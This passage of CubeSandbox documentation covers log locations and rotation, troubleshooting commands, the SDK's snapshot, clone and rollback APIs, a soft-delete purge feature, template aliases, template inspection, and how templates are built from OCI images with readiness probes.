`/data/log/...` are all preserved and resumed on the next `start`. ## Reading logs CubeSandbox has multiple log sources, including component-specific in-container logs. The two primary host-side entry points are: | Source | Contains | How to read | |---|---|---| | **Runtime logs (primary entry point)** | requests, scheduling decisions, stats, audit, VMM creation | **`/data/log/<Module>/`** | | Startup logs | systemd start / hooks / ExecStartPost / exit codes / container build output | `journalctl -u <unit>` | ### `/data/log/` runtime logs (primary) > ⚠️ Cubelet / CubeMaster / CubeAPI / CubeShim / VMM all write **business request + stat + audit + VMM lifecycle** logs to `/data/log/`. They do **not** show up in `journalctl` — read the files directly. | Module | Directory | Main files | |---|---|---| | Cubelet | `/data/log/Cubelet/` | `Cubelet-req.log` (requests)`Cubelet-stat.log` (metrics/stats) | | CubeMaster | `/data/log/CubeMaster/` | `cubemaster-req.log` | | CubeAPI | `/data/log/CubeAPI/` | `cube-api-YYYY-MM-DD.log` (daily-rotated) | | CubeShim | `/data/log/CubeShim/` | `cube-shim-req.log`, `cube-shim-stat.log` | | Hypervisor (VMM) | `/data/log/CubeVmm/` | `vmm.log` (one entry per sandbox creation) | | cube-proxy | `/data/log/cube-proxy/` | `error.log`, `access.log` (see below) | Common commands: ```bash # Follow Cubelet requests sudo tail -F /data/log/Cubelet/Cubelet-req.log # Follow daily-rotated CubeAPI log (E2B-compatible layer) sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log # Slow / failing sandbox start: check VMM log sudo tail -200 /data/log/CubeVmm/vmm.log ``` ### Rotating CubeShim and VMM logs CubeShim and the VMM keep their log files open while they run. CubeShim reopens its files on an internal 30-minute rotation event. The VMM control thread owns a monotonic `timerfd` and emits the existing `LOG_CTRL_REOPEN` control record once per hour. Reopen is schedule-driven: an external `rename` + `create` is picked up at the next scheduled reopen rather than detected immediately on an arbitrary write. The timer is owned by the VMM control thread, not by deferred logger initialization or a vCPU/API thread. The host-side policy should run hourly and use `rename` + `create`; do not use `copytruncate`. For example, install the following as `/etc/logrotate.d/cubesandbox` and make sure the host invokes `logrotate` hourly: ```text /data/log/CubeVmm/vmm.log /data/log/CubeShim/*.log { hourly rotate 24 missingok notifempty compress delaycompress create 0640 root root } ``` `rotate 24` retains 24 hourly files; adjust it to the required retention period. `delaycompress` keeps the newest rotated file uncompressed for one cycle because a writer may still use the old descriptor until its next scheduled reopen. CubeShim's internal event runs every 30 minutes, while the VMM control thread sends a reopen control event every hour. No `postrotate` signal or service restart is required. This policy guarantees bounded retention on the host, but does not promise immediate handling of an arbitrary manual rotation; it does not support `copytruncate`. The example uses `root root` because the bundled one-click systemd services run as root. If CubeShim or the VMM run under another account, set the `create` owner and group to that account; otherwise a newly-created file may not be reopenable. The `0640` mode in this example applies to files created by `logrotate`; the CubeShim and VMM writers themselves continue to use the process umask. ### `journalctl` startup logs journalctl captures **stdout/stderr from when systemd starts the process until it stabilizes (or exits)**, useful for: * Startup failure exit codes / error messages * Output from `ExecStart` / `ExecStartPost` / `ExecStop` hooks * `docker pull` / `docker build` / `apk update` failures * Auto-restart counter and reasons ```bash # Last 200 lines sudo journalctl -u cube-sandbox-cubelet.service -n 200 --no-pager # Live tail sudo journalctl -u cube-sandbox-cubemaster.service -f # Everything since the last boot sudo journalctl -u cube-sandbox-cube-api.service -b ``` ::: warning No business request logs in journalctl Once a process is stable, its stdout/stderr volume is tiny because each component writes business logs straight to `/data/log/<Module>/`. To find "which sandboxes were created in the last hour", **journalctl is the wrong place** — go to `/data/log/CubeMaster/cubemaster-req.log` or `/data/log/Cubelet/Cubelet-req.log`. ::: ### `cube-proxy` host logs `cube-proxy` is an OpenResty/nginx container. The one-click deployment bind-mounts the host directory `/data/log/cube-proxy/` into the container at the same path, so the logs remain available across container restarts and can be read directly from the host: ```bash sudo tail -200 /data/log/cube-proxy/error.log sudo tail -200 /data/log/cube-proxy/access.log ``` The same directory is mounted at `/data/log/cube-proxy/` inside the container; no image rebuild is required. ### One-shot diagnostic bundle Use the bundled diagnostic collector when sharing logs with the community or filing issues: ```bash sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh ``` It collects everything into `cube-diag-<timestamp>/`: * Tails of `/data/log/CubeMaster|Cubelet|CubeAPI|CubeShim|CubeVmm/` * `/data/log/cube-proxy/` access/error logs * `dmesg` / process list / ports / mounts / cgroup / cpuinfo * Major config files (with secrets redacted) Pack and share: ```bash tar czf cube-diag-<ts>.tar.gz cube-diag-<ts>/ ``` Selective collection — e.g. only cubelet + dmesg: ```bash sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh \ --module cubelet --module dmesg --lines 500 ``` See `--help` for full options. ## Operations cheat-sheet | Goal | Command | |---|---| | List all cube services on this node | `systemctl --no-legend list-units 'cube-sandbox-*'` | | Status of one service | `systemctl status cube-sandbox-<service>.service` | | Dependency tree of a target | `systemctl list-dependencies cube-sandbox-control.target` | | Start / stop / restart one service | `systemctl {start\|stop\|restart} cube-sandbox-<service>.service` | | Start / stop / restart the whole stack | `systemctl {start\|stop\|restart} cube-sandbox-{control,compute}.target` | | Why did the service fail | `journalctl -u cube-sandbox-<service>.service -n 200 --no-pager` | | Live tail startup output | `journalctl -u cube-sandbox-<service>.service -f` | | Reset failed counter | `systemctl reset-failed cube-sandbox-<service>.service` | | Run health check | `sudo /root/cube-sandbox-one-click-*/smoke.sh`or `sudo /usr/local/services/cubetoolbox/scripts/one-click/quickcheck.sh` | | Full shutdown | `sudo /root/cube-sandbox-one-click-*/down.sh` | | Collect diagnostic bundle | `sudo /usr/local/services/cubetoolbox/scripts/cube-diag/collect-logs.sh` | ## Typical troubleshooting flows ### Sandbox creation fails / times out Walk through the layers in order: 1. **Is the role target active?** ```bash sudo systemctl status cube-sandbox-control.target ``` 2. **Run the health check** ```bash sudo /root/cube-sandbox-one-click-*/smoke.sh ``` 3. **Did CubeAPI receive the request?** ```bash sudo tail -F /data/log/CubeAPI/cube-api-$(date +%F).log ``` 4. **CubeMaster scheduling chain** ```bash sudo tail -F /data/log/CubeMaster/cubemaster-req.log ``` 5. **Is the node (Cubelet) online and being scheduled?** ```bash curl http://127.0.0.1:3010/internal/v1/nodes sudo tail -F /data/log/Cubelet/Cubelet-req.log ``` 6. **VMM startup errors** ```bash sudo tail -200 /data/log/CubeVmm/vmm.log ``` ### A service is stuck in `activating (start-post)` ```bash sudo systemctl status cube-sandbox-<service>.service sudo journalctl -u cube-sandbox-<service>.service -n 200 --no-pager ``` Common root causes: * Container build needs the network (e.g. `cube-proxy`'s `apk update`) and the upstream mirror is flaky — see [Deployment Troubleshooting](./troubleshooting/deployment.md) * `ExecStartPost` health probe timeout (port already in use, upstream not yet ready) * For `cube-sandbox-cube-proxy.service`, `CUBE_PROXY_HTTP_PORT` and `CUBE_PROXY_GRPC_PORT` are the nginx listeners checked by the post-start TCP probe. `CUBE_PROXY_HOST_PORT` is deprecated and ignored; set `CUBE_PROXY_HTTP_PORT` instead if you need a non-default HTTP check port. * `/data/log` or `/data/cubelet` missing / wrong permissions / XFS not mounted ### Dashboard / API unreachable ```bash # WebUI container sudo systemctl status cube-sandbox-webui.service sudo ss -lntp 'sport = :12088' # CubeAPI listener sudo systemctl status cube-sandbox-cube-api.service sudo ss -lntp 'sport = :3000' ``` ## Appendix ### Path quick-reference | Use | Path | |---|---| | Install root | `/usr/local/services/cubetoolbox/` | | Runtime env file | `/usr/local/services/cubetoolbox/.one-click.env` | | systemd unit install dir | `/etc/systemd/system/cube-sandbox-*` | | systemd helper scripts | `/usr/local/services/cubetoolbox/scripts/systemd/*.sh` | | **Runtime logs (primary)** | **`/data/log/<Module>/`** | | Cubelet container layer (XFS) | `/data/cubelet/` | | Sandbox images / snapshots | `/data/cube-shim/disks/`, `/data/snapshot_pack/disks/` | | systemd PID files | `/run/cube-sandbox-systemd/` | ### Role / service matrix | Service | `control` node | `compute` node | |---|:-:|:-:| | `mysql` / `redis` | ✅ | — | | `cubemaster` | ✅ | — | | `cube-api` | ✅ | — | | `webui` | ✅ | — | | `cube-proxy` / `coredns` / `dns` | ✅ | — | | `cubelet` | ✅ | ✅ | ### See also * [Quick Start](./quickstart.md) — installation entry point * [Multi-Node Cluster](./multi-node-deploy.md) — service subset on compute nodes * [CubeMaster Scheduler Configuration](./cubemaster-scheduler-config.md) — node selection, quota, labels, scoring, and template redo * [Deployment Troubleshooting](./troubleshooting/deployment.md) — XFS, CIDR conflicts, etc. * [Templates Troubleshooting](./troubleshooting/templates.md) — template-build issues --- --- url: https://cubesandbox.com/guide/snapshot-rollback-clone.md --- # Snapshot, Rollback & Clone This guide covers three advanced APIs provided by the Cube Sandbox Python SDK: * **Snapshot**: Persists the complete state (memory + filesystem) of a running sandbox as a reusable image. The snapshot can later be used to spawn new sandboxes or trigger a rollback. * **Clone**: Calls `clone()` on a running sandbox to immediately derive N fully independent copies. Each copy starts from the source sandbox's current state and runs in isolation. * **Rollback**: Restores a running sandbox to a previously captured snapshot state in place — the sandbox ID stays the same and execution can continue right away. ## Concept ```mermaid flowchart LR A[source sandbox<br/>running] -->|create_snapshot| S[(snapshot<br/>snap-xxx)] A -->|clone n=N| C1[clone 1] A -->|clone n=N| C2[clone 2] A -->|clone n=N| Cn[clone N] A -.->|rollback snap-xxx| A2[source sandbox<br/>restored to snapshot state] classDef src fill:#e8f4fd,stroke:#3b82f6,stroke-width:2px; classDef snap fill:#fef3c7,stroke:#f59e0b,stroke-width:2px; classDef clone fill:#d1fae5,stroke:#10b981,stroke-width:1px; class A,A2 src; class S snap; class C1,C2,Cn clone; ``` | API | Target | Sandbox ID | Typical use | |-----|--------|------------|-------------| | `sb.create_snapshot()` | The source sandbox itself | Unchanged | Create a checkpoint or persist state | | `sb.clone(n=N)` | Derive N new sandboxes from a running sandbox | N new IDs | Agent parallel rollout, repeatable experiments | | `sb.rollback(snap_id)` | Restore the current sandbox to a snapshot state | **Unchanged** | Undo a failed step, branch from a saved point | ## Installation > **Note**: Snapshot, rollback, and clone are Cube Sandbox-exclusive capabilities — the e2b SDK has no equivalent APIs. The [`cubesandbox`](https://pypi.org/project/cubesandbox/) SDK is compatible with the e2b SDK and can be used as a drop-in replacement, while adding these advanced features. All APIs in this guide require [`cubesandbox`](https://pypi.org/project/cubesandbox/) **0.2.0 or later**. ```bash pip install "cubesandbox>=0.2.0" ``` Environment variables used throughout the examples: ```bash export CUBE_API_URL=http://127.0.0.1:3000 export CUBE_TEMPLATE_ID=tpl-xxxxxxxxxxxxxxxxxxxxxxxx ``` ## Snapshot `sb.create_snapshot()` persists the sandbox's current state (filesystem + memory) as a snapshot and returns a `SnapshotInfo` object. The `snapshot_id` field can be passed directly to `Sandbox.create(template=...)`. ```python from cubesandbox import Sandbox with Sandbox.create(template=TEMPLATE_ID) as sb: sb.run_code("open('/tmp/data.txt','w').write('hello')") snap = sb.create_snapshot() print(f"snapshot: {snap.snapshot_id}") ``` A snapshot's lifecycle is independent of the sandbox: the snapshot remains usable even after the source sandbox is `kill()`ed. Call `Sandbox.delete_snapshot(snapshot_id)` to clean up when it is no longer needed. ### Listing snapshots ```python # List snapshots (first page) items, next_token = Sandbox.list_snapshots() # Filter by sandbox_id items, _ = Sandbox.list_snapshots(sandbox_id=sb.sandbox_id) ``` `list_snapshots()` returns `(list[SnapshotInfo], next_token)`. Pass `next_token` back to retrieve subsequent pages; `None` means no more pages. ## Clone Calling `sb.clone(n=N)` on a running sandbox immediately derives N independent copies. Each copy fully inherits the source sandbox's runtime state at the moment of the clone call — memory and filesystem alike — but subsequent writes are fully isolated. The source sandbox keeps running unaffected. ```python src = Sandbox.create(template=TEMPLATE_ID) src.run_code("open('/tmp/shared.txt','w').write('hello')") clones = src.clone(n=3) for sb in clones: # Each clone inherits the file written in src out = sb.run_code("print(open('/tmp/shared.txt').read())").logs.stdout[0] assert out.strip() == "hello" ``` ### Concurrent clone By default clones are created serially. Pass `concurrency=C` for fan-out scenarios: ```python clones = src.clone(n=10, concurrency=5) ``` * If any sub-task fails, already-created clones are automatically `kill()`ed. The caller either gets all N sandboxes or an exception — no orphaned resources. ### Inheritance and isolation Clones returned by `clone()` satisfy three properties: | Property | Meaning | |----------|---------| | **Inheritance** | Each clone's initial state is identical to the source sandbox at the moment of the clone call | | **Isolation** | Writes in one clone are invisible to others and to the source sandbox | | **Continuity** | The source sandbox keeps running after `clone()` returns, unaffected | ## Rollback `sb.rollback(snapshot_id)` restores the sandbox **in place** to the specified snapshot state: the filesystem is fully reset, the **sandbox ID stays the same**, and the `sb` object remains usable. ```python sb = Sandbox.create(template=TEMPLATE_ID) sb.run_code("open('/tmp/v.txt','w').write('v1')") checkpoint = sb.create_snapshot() sb.run_code("open('/tmp/v.txt','w').write('v2')") sb.rollback(checkpoint.snapshot_id) after = sb.run_code("print(open('/tmp/v.txt').read())").logs.stdout[0] assert after.strip() == "v1" ``` After a rollback the sandbox is still writable. You can continue execution and snapshot again — ideal for agent retry loops where you checkpoint at each key decision point, roll back on failure, and try a different branch: ```python # Continue on the rolled-back branch sb.run_code("open('/tmp/v.txt','w').write('v3')") new_snap = sb.create_snapshot() with Sandbox.create(template=new_snap.snapshot_id) as forked: out = forked.run_code("print(open('/tmp/v.txt').read())").logs.stdout[0] assert out.strip() == "v3" ``` ## Best practices * **Snapshots are not free.** Each snapshot corresponds to a full image in persistent storage. Delete snapshots when they are no longer needed, or run `list_snapshots()` periodically to clean up. * **`with` blocks do not delete snapshots.** The context manager only calls `kill()` on the sandbox. Snapshots created with `create_snapshot()` must be deleted explicitly with `Sandbox.delete_snapshot()`. * **`clone()` cleans up its internal snapshot automatically.** For temporary fan-out you do not need to manage snapshot lifecycle yourself — just call `clone()`. * **For large-scale fan-out**, prefer `clone(n=N, concurrency=C)`. The SDK handles cleanup on failure and avoids orphaned resources. ## Reference * [Cross-Node Snapshots](./cross-node-snapshot.md) — S3 backend, `remote_status=ready`, and scheduler rules for Resume / FromSnap on another node * Example code: [`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone) * SDK source: [`sdk/python/`](https://github.com/TencentCloud/CubeSandbox/tree/master/sdk/python) --- --- url: https://cubesandbox.com/guide/soft-delete-purge.md --- # Soft-delete tombstone purge CubeSandbox uses GORM *soft delete* on many tables: a row is "deleted" by setting its `deleted_at` column, and GORM then hides it from normal queries. Nothing reclaimed those tombstoned rows, so the tables grew without bound and stale tombstones kept occupying **unique keys** (the soft-delete + unique-key trap). The tombstone purger is the scheduled janitor that fixes this. ## What it does A single shared package, `pkgs/cubedb/tombstone`, runs in **both** binaries that share the database: * **CubeMaster** — purges `t_cube_*` tombstone tables. * **CubeOps** — purges `t_agenthub_*` tombstone tables. Each component registers the purger at startup. On a fixed interval it takes a cluster-wide advisory lock (so only one HA replica works per tick), then for each configured table hard-deletes rows whose `deleted_at` is older than the retention window. The pass is **bounded** (`max_per_pass`) so a large backlog drains across many ticks instead of one long, lock-holding transaction. The hard-delete is cross-dialect (the active dialector quotes identifiers) and **resurrect-race safe** — the `DELETE` re-checks the tombstone predicate, so a row an application UPSERT resurrects (`deleted_at = NULL`) between select and delete is never hard-deleted. ## Configuration Both components expose a `soft_delete_purge` block. All fields are optional; defaults are safe and the feature is **off by default** (opt-in): the purge is irreversible, so set `enable: true` explicitly. ```yaml soft_delete_purge: enable: false # default-off: this purge is irreversible — opt in explicitly dry_run: false # select + log counts but issue no DELETE (safe first rollout) retention: 168h # rows with deleted_at older than now-retention are purged. # <=0 -> 7d default; values in (0, 1h) clamped up to 1h. interval: 1h # time between passes. # <=0 -> 1h default; values in (0, 1m) clamped up to 1m. ``` `max_per_pass` (5000) and the batch size (500) are package constants, not configurable. ## Tables covered Only tables with a *verified* soft-delete producer and **no** dedicated reclamation lifecycle are purged. The classification was derived by auditing every `.Delete()` call site. **CubeMaster** (always): `t_cube_sandbox_spec`, `t_cube_template_replica`. **CubeMaster** (default only — see precedence below): `t_cube_instance_info`, `t_cube_instance_userdata`. **CubeOps**: `t_agenthub_instance`, `t_agenthub_snapshot`, `t_agenthub_template`. **Excluded** (owned lifecycle / not soft-delete): * `t_cube_rootfs_artifact`, `t_cube_artifact_node_placement` — have a resurrection dance + the dedicated `artifact_gc`. * `t_cube_snapshot_runtime_ref` — append-only history; `deleted_at` is never written (its growth is a separate problem). * Hard-delete-only tables (`t_cube_template_definition`, `t_cube_template_image_job`, `t_cube_volume`, …). A leading `deleted_at` index is added (migration `20260731120000`) to every purge target that lacked one, so the `deleted_at < cutoff` scan is indexed. ## Precedence: `disable_hard_delete` vs `soft_delete_purge` `common.disable_hard_delete` (CubeMaster) exists so an operator can **retain** instance records for audit/recovery: when set, `t_cube_instance_info` is soft-deleted instead of hard-deleted (`t_cube_instance_userdata` is always soft-deleted). **`disable_hard_delete` takes precedence over `soft_delete_purge` for instance records.** When `disable_hard_delete: true`, `t_cube_instance_info` and `t_cube_instance_userdata` are **exempt** from purge — otherwise the purger would hard-delete exactly the records the operator chose to keep. The purge table list is built accordingly in `cubeMasterPurgeTables(disableHardDelete)`. | `disable_hard_delete` | `soft_delete_purge` | instance records | |---|---|---| | `false` (default) | on | `userdata` purged (always soft-deleted); `instance_info` is hard-deleted on the delete path (no tombstone) | | `false` | off | `userdata` tombstones accumulate (no purge) | | `true` | on | **retained** — instance tables exempt from purge | | `true` | off | retained — no purge anyway | The other CubeMaster tables (`sandbox_spec`, `template_replica`) are always purged; they are not instance records and have no retain semantics. ## Operational notes * **Off by default.** The purge is irreversible, so it requires an explicit opt-in (`soft_delete_purge.enable: true`); an upgrade must not silently hard-delete tombstones that were previously retained forever. Once enabled, the first pass reclaims the accumulated backlog incrementally (`max_per_pass` per tick). * **Dry run first.** On a large existing backlog, set `dry_run: true` for one interval to observe the would-be-purged counts before enabling deletion. * **Out-of-band DDL.** Deployments with `CUBE_AUTO_MIGRATION=false` must apply the `deleted_at` indexes from migration `20260731120000` out-of-band; otherwise the purge is a full table scan. * **PostgreSQL.** The migration's plain `CREATE INDEX` takes an ACCESS EXCLUSIVE lock (blocking writes) while each index builds — acceptable for today's small, non-primary PG deployments, but apply the migration during a low-traffic or maintenance window on larger PostgreSQL deployments. After a large catch-up pass, expect a brief autovacuum spike on the affected tables (standard for mass `DELETE`). --- --- url: https://cubesandbox.com/guide/template-aliases.md --- # Template Aliases A template alias is a stable, human-readable name for a CubeSandbox template. Instead of putting a generated ID such as `tpl-01abc...` in application configuration, you can use a name such as `python-runtime`: ```python from cubesandbox import Sandbox with Sandbox.create(template="python-runtime") as sandbox: print(sandbox.commands.run("python3 --version").stdout) ``` Aliases are useful when a template is rebuilt or replaced. Applications can keep using the stable alias while an operator moves it to the new template. ## Rules and behavior An alias: * contains only lowercase letters, digits, and hyphens; * starts with a letter or digit; * is between 1 and 64 characters; * must not start with the reserved `tpl-` or `snap-` prefix; * belongs to one READY template at a time; * cannot be assigned to a snapshot. Examples of valid aliases are `python`, `python-3-12`, and `app-v2`. Values such as `MyApp`, `my_app`, `-my-app`, and `tpl-custom` are invalid. Each template has at most one alias. Assigning an alias that currently belongs to another template transfers it to the target template and clears it from the previous owner. Treat this as a deployment change: existing sandboxes are unaffected, while subsequent operations using the alias resolve to the new template. ## Assign an alias while creating a template Pass `--alias` when creating a template from an OCI image: ```bash cubemastercli tpl create-from-image \ --image ghcr.io/example/python-runtime:3.12 \ --alias python-runtime \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` The template ID is still generated by the server. The alias becomes usable after the template reaches `READY` and claims it successfully. When using the CubeAPI-compatible SDK template builders, the E2B-style `name` field is used as the stable alias: ```python from cubesandbox import Template job = Template.build( image="ghcr.io/example/python-runtime:3.12", name="python-runtime", writable_layer_size="2G", exposed_ports=[49983], probe_port=49983, probe_path="/health", ) print(job.template_id) ``` ## Set, change, or clear an alias Set or change an alias on an existing READY template: ```bash cubemastercli tpl set-alias tpl-01abc --alias python-runtime ``` The first argument may be the generated template ID or its current alias: ```bash cubemastercli tpl set-alias python-runtime --alias python-runtime-v2 ``` Clear the alias: ```bash cubemastercli tpl set-alias tpl-01abc --clear ``` The SDKs expose the same operation: ::: code-group ```python [Python] from cubesandbox import Template Template.set_alias("tpl-01abc", "python-runtime") Template.set_alias("tpl-01abc", None) # Clear ``` ```go [Go] info, err := client.SetTemplateAlias(ctx, "tpl-01abc", "python-runtime") if err != nil { panic(err) } _, err = client.SetTemplateAlias(ctx, info.TemplateID, "") // Clear ``` ```ts [Node.js] import { Template } from "@cubesandbox/sdk"; await Template.setAlias("tpl-01abc", "python-runtime"); await Template.setAlias("tpl-01abc", null); // Clear ``` ::: ## Use and inspect an alias An alias can be passed anywhere a template identifier is accepted, including sandbox creation: ::: code-group ```python [Python] sandbox = Sandbox.create(template="python-runtime") ``` ```go [Go] sandbox, err := client.Create(ctx, cubesandbox.CreateOptions{ TemplateID: "python-runtime", }) ``` ```ts [Node.js] const sandbox = await Sandbox.create({ template: "python-runtime" }); ``` ::: Template list and detail responses expose the configured alias in the `aliases` array. You can also resolve an alias directly through CubeAPI: ```bash curl http://<cubeapi-host>:3000/templates/aliases/python-runtime ``` Example response: ```json { "templateID": "tpl-01abc", "public": false } ``` ## Safe rollout pattern For a low-risk template update: 1. Build the new template without changing the alias used by production. 2. Wait until the new template is `READY` and validate it by its generated ID. 3. Assign the production alias to the new template. 4. Create a test sandbox using the alias and verify it resolves as expected. 5. Keep or delete the old template according to your rollback policy. Changing an alias does not modify or restart sandboxes that already exist. --- --- url: https://cubesandbox.com/guide/template-inspection-and-preview.md --- # Template Inspection and Request Preview Use this page when you have a `template_id` and want to answer one of these questions: * Is the template ready, and which nodes already have replicas? * What request was stored with the template itself? * If I create a sandbox from this template now, what request will actually take effect? The commands on this page are implemented by `cubemastercli tpl info` and `cubemastercli tpl render`. ## Choose the Right Command | If you want to know... | Use... | |------------------------|--------| | Template status, replicas, version, last error | `tpl info` | | The stored request body that belongs to the template | `tpl info --include-request` | | The effective sandbox request after template merge | `tpl render` | | The request that CubeMaster eventually converts for Cubelet | `tpl render` | In practice: * Start with `tpl info` when you want to inspect the template itself. * Switch to `tpl render` when you want to preview what sandbox creation will use now. ## Inspect the Template Itself Basic metadata: ```bash cubemastercli tpl info <template-id> ``` The template ID can be passed as a positional argument (docker/kubectl style) or with `--template-id`; both forms are equivalent. Raw JSON output: ```bash cubemastercli tpl info <template-id> --json ``` Include the stored request body: ```bash cubemastercli tpl info <template-id> --json --include-request ``` Typical response shape: ```json { "template_id": "tpl-xxx", "instance_type": "cubebox", "status": "READY", "replicas": [ { "node_id": "node-a", "status": "READY" } ], "create_request": { "containers": [], "volumes": [], "annotations": { "cube.master.appsnapshot.template.id": "tpl-xxx" } } } ``` How to read `create_request`: * It is the request body stored with the template definition. * It is useful when you want to inspect what the template was originally built from or committed with. * It is not the final request for every future sandbox creation. Later user input can still be merged on top. ## Preview the Effective Sandbox Request Preview using only the template: ```bash cubemastercli tpl render --template-id <template-id> --json ``` Preview with your own request overrides from a file: ```bash cubemastercli tpl render -f req.json --template-id <template-id> --json ``` `tpl render` accepts input from a request file. If you also pass `--template-id`, the flag overrides the template annotation in that file. Typical response shape: ```json { "api_request": { "annotations": { "cube.master.appsnapshot.template.id": "tpl-xxx", "cube.master.appsnapshot.template.version": "v2" } }, "merged_request": { "containers": [ { "name": "main" } ], "volumes": [ { "name": "workspace" } ], "network_type": "tap" }, "cubelet_request": { "containers": [ { "name": "main" } ], "volumes": [ { "name": "workspace" } ] } } ``` ## Which Layer Should You Read? `tpl render` returns three views of the request: * `api_request`: the request received by CubeMaster before template resolution and merge. * `merged_request`: the request after template resolution and request merge. This is usually the most useful layer for users. * `cubelet_request`: the request generated from the merged result for Cubelet. If you only have time to inspect one layer, start with `merged_request`. ## Recommended Troubleshooting Flow When you only have a `template_id` and want to understand what sandbox creation will use: 1. Check template status and replicas. ```bash cubemastercli tpl info <template-id> ``` 2. If you need to know what the template itself stores, inspect `create_request`. ```bash cubemastercli tpl info <template-id> --json --include-request ``` 3. Preview the effective request that would be used right now. ```bash cubemastercli tpl render --template-id <template-id> --json ``` 4. If your application adds labels, annotations, network settings, or other overrides, place them in `req.json` and preview again. ```bash cubemastercli tpl render -f req.json --template-id <template-id> --json ``` ## What This Preview Does Not Tell You This preview is useful, but it has clear boundaries: * It does not tell you which node will finally be selected. Scheduling is still a runtime decision. * It does not guarantee that a specific node will accept the request at runtime. * It shows request content, not the final runtime outcome after the sandbox actually starts. --- --- url: https://cubesandbox.com/guide/templates.md --- # Templates Overview A template is a reusable runtime environment from which CubeSandbox creates sandboxes. It contains not only the root filesystem derived from an OCI image, but also the sandbox configuration and a pre-warmed MicroVM snapshot. The same template can create isolated sandboxes with consistent environments, while snapshot restoration keeps startup fast. ## Core Concepts ### OCI Images OCI (Open Container Initiative) defines open standards for container images. The Docker images used in everyday workflows are generally OCI images: they contain read-only filesystem layers plus image configuration describing the operating system files, application and dependencies, and startup settings such as `ENTRYPOINT`, `CMD`, and environment variables. An image is commonly referenced as `registry/name:tag`, for example `docker.io/library/python:3.11`, or pinned to exact content with a digest. CubeSandbox does not run an OCI image directly as a sandbox. It pulls and unpacks the image, converts it into a rootfs suitable for a MicroVM, starts the configured services, and creates a snapshot that can be restored quickly. The OCI image is therefore an input to template creation; the template is the artifact used to create sandboxes. ### When the Template Snapshot Is Taken After pulling the OCI image, CubeSandbox boots it in a temporary MicroVM. The image entrypoint, system services, and application start just as they would in a normal sandbox. Cube does not take the template snapshot as soon as the processes start. It **waits for the configured HTTP probe to return 2xx**, which signals that the environment has reached the state worth preserving. Cube then freezes the filesystem and memory state and creates the template snapshot. Choosing a probe therefore means defining when startup is complete. If it succeeds too early, the snapshot may be taken while the application is still initializing or its dependencies are not yet warm. If it never succeeds, the template build times out. Ideally, the endpoint should return 2xx only after every service that should be pre-warmed in the template is ready. ### Using Ports and Probes to Define Readiness When building a template, Cube starts the container and probes it over HTTP to determine whether it is ready. Therefore: 1. The container image **must** start an HTTP server on a fixed port and provide a readiness endpoint that returns 2xx. The endpoint may be served by `envd` or by the application. 2. The following options **must** be specified when creating the template: * `--expose-port <port>` — declare the port on which the HTTP service listens * `--probe <port>` — tell Cube which port to probe * `--probe-path <path>` — set the HTTP path that Cube requests with `GET`, such as `/` or `/health` 3. The selected endpoint should return HTTP 2xx **only after the services that need to be pre-warmed are fully ready**. Cube uses this response as the signal to take the snapshot. When probing `envd`, the signal only confirms that `envd` itself is ready. A template build selects one probe port and path. Cube repeatedly requests `http://<sandbox>:<probe-port><probe-path>` until it receives an HTTP 2xx response, then takes the snapshot. `envd` is a background service preinstalled in CubeSandbox base images. After a sandbox is created, SDK operations such as running commands, reading and writing files, and opening a terminal send requests to `envd` inside the sandbox. By default, `envd` listens on port `49983`, and its `/health` endpoint returns 204 when it can accept those requests. The following common configuration exposes port 49983 for `envd`, probes that port, and takes the template snapshot after `/health` succeeds: ```bash --expose-port 49983 --probe 49983 --probe-path /health ``` However, `envd` readiness only proves that the SDK data plane is ready; it does not necessarily mean that the application has finished starting. If the template should pre-warm a web application, Jupyter, or another service, point the probe at a port and path that reflect that application's readiness. See [Pre-warm a Service in a Template](./tutorials/prewarm-template-service.md). > `envd` is not required merely to build a template. An image that only serves its own web application and does not use command, file, or terminal APIs can omit `envd` and probe the application's own health endpoint. If those SDK capabilities are needed, use a base image that includes `envd` or inject it while building the template. See [Custom Template Images](./tutorials/bring-your-own-image.md) for the available integration approaches. ### Sandbox Readiness Semantics The probed port is also the sandbox readiness contract. Because a template is marked ready only after the probe returns HTTP 2xx, that port is expected to be available as soon as creation of a **running** sandbox from the template returns. Clients do not need an additional wait or retry after `create` returns. The same applies to sandboxes brought back by resume or auto-resume. Two limits are worth noting: * **The guarantee covers only the probed port.** A service on a port that is exposed but not probed may still be starting when the sandbox begins accepting traffic. Probe that port instead if it needs the same readiness guarantee. * **The service itself must remain healthy.** The guarantee covers platform-level reachability. If a service in a running sandbox crashes or stops listening, it remains unavailable until it recovers. ## How to Create a Template CubeSandbox supports two approaches: * **Create from an OCI image**: Prepare an OCI image containing the operating system, tools, and application dependencies, then let CubeSandbox convert it into a template. This is the usual choice for reproducible templates. See [Create Templates from OCI Image](./tutorials/template-from-image.md). * **Create from a running sandbox**: Install software or adjust the environment interactively, then commit the sandbox's current filesystem and memory state as a new template. This is useful for iterative development and quickly preserving a working environment. See [Commit a Running Sandbox as a Template](./tutorials/template-from-sandbox.md). In either case, template creation consists of preparing the root filesystem, booting a MicroVM and waiting for the environment to become ready, taking a snapshot, and registering the resulting template. Once ready, the template can be used to create new sandboxes quickly. For historical image-based templates whose artifacts still live on CubeMaster local disk, keep the runbook wording consistent: **`tpl merge` solves historical artifact storage convergence, while `tpl redo` solves node-side redistribution / rebuild when needed.** The typical case is enabling `s3Backed=true` later and migrating those historical artifacts from local disk into S3-backed storage; run `tpl redo` afterward only if you also need to repopulate nodes. ## Templates and Images An OCI image is one possible input for building a template; it is not itself a directly bootable CubeSandbox template. The key differences are: | | OCI image | CubeSandbox template | | --- | --- | --- | | Contents | Root filesystem and container metadata | Root filesystem, MicroVM snapshot, and sandbox runtime configuration | | Primary purpose | Distribute and reproduce a software environment | Create CubeSandbox sandboxes quickly | | Usage | Must first be converted into a template | Can be used directly to create sandboxes | The same OCI image can therefore produce different templates depending on CPU, memory, network, startup command, and other settings. A template committed from a running sandbox preserves that sandbox's filesystem and memory state at commit time. ## Next Steps * [Create Templates from OCI Image](./tutorials/template-from-image.md) — complete CLI workflow, including probes, progress monitoring, and troubleshooting. * [Commit a Running Sandbox as a Template](./tutorials/template-from-sandbox.md) — preserve a sandbox environment and optionally override its create request. * [Template Inspection and Request Preview](./template-inspection-and-preview.md) — inspect template state and preview the effective request. --- --- url: 